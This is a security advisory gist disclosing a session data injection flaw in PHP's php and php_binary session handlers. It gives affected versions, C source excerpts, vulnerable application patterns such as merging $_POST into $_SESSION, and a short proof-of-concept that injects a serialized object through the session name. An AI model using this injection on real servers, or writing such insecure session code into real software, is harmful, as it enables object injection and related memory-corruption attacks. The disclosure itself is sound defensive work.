Skip to content

Instantly share code, notes, and snippets.

@chtg

chtg/.md Secret

Last active December 3, 2023 17:33
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save chtg/bac6459587dbb79190d0a4c235901f03 to your computer and use it in GitHub Desktop.
Save chtg/bac6459587dbb79190d0a4c235901f03 to your computer and use it in GitHub Desktop.
PHP Session Data Injection Vulnerability

#PHP Session Data Injection Vulnerability

Taoguang Chen <@chtg57> - Write Date: 2016.7.27 - Release Date: 2016.8.18

PHP's session php/php_binary handlers wrongly handles the session name cause arbitrarily session data injection.

Affected Versions

Affected is PHP 5 < 5.6.25
Affected is PHP 7 < 7.0.10

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
...
	while (p < endptr) {
		zval **tmp;
		q = p;
		while (*q != PS_DELIMITER) {
			if (++q >= endptr) goto break_outer_loop;
		}
		if (p[0] == PS_UNDEF_MARKER) {
			p++;
			has_value = 0;
		} else {
			has_value = 1;
		}

		namelen = q - p;
		name = estrndup(p, namelen);
		q++;

		if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
			if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
				goto skip;
			}
		}
		...
skip:
		efree(name);

		p = q;
	}

If the seesion name is not allowed, then the seesion php handler will ignore and skip the name, and continue to parsing. Therefore, if an attacker can control the session name, then he will be able to inject arbitrarily serialized data into the session. This means that such as the following code from real world&apps can be used to inject arbitrarily session data.

i)

$_SESSION = array_merge($_SESSION, $_POST);

ii)

if (isset($_GET['id']) && $_GET['result']) {
	$_SESSION[$_GET['id']] = $_GET['result'];

This also means allow user input into session deserialization. This will lead to vulnerabilities that are similar to input into unserialize(), for example use-after-free, object injection, and etc.

The similar issue also exist in the session php_binary handler.

Proof of Concept Exploit

<?php

ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['_SESSION'] = 'ryat|O:8:"stdClass":0:{}';
session_write_close();
session_start();
var_dump($_SESSION);

?>
@dolby360
Copy link

dolby360 commented Dec 3, 2023

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment